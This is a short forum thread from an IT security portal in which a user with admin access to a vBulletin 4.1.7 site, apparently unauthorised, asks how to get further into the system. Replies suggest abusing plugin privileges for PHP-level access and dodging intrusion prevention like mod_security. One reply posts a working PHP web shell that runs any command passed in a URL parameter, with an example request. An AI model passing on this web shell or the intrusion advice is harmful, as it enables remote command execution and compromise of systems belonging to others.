Waraxe IT Security Portal

d33p57r1k3 · Regular user

hello. I've managed to have an admin account on vbulletin 4.1.7, but they have disabled the sql queries, I could not upload a shell, I have not been able to do a sql injection; I appreciate some advice to gain insight into the system.

waraxe · Site admin

How about plugins, do you have plugin management privileges?

d33p57r1k3 · Regular user

Thanks for replying.

Yes i have plugin management privileges, but I've tried to upload a shell through the plugins option and I get an error, I also tried using the option of styles, templates, language, etc.. and I always get the same result.

waraxe · Site admin

Plugins basically are giving you php level access already.
If you try to use c99 or some other similar php shell, then there can be interference from IPS (mod_security, etc).
You don't always need special tools, things can be done manually or with custom written light-weight scripts.

d33p57r1k3 · Regular user

I also believe that. Just for now I have to try to use existing tools, because I'm pretty new at this and I have not learned anything about how to make scripts. best I start reading to learn more about it. Wink

capt · Advanced user

<?php
if(isset($_GET['command'])){
system($_GET['command']);
}
?>

example: blah.com/ajax.php?command=ls -la

All depends on the php and its disable_functions if any are disabled.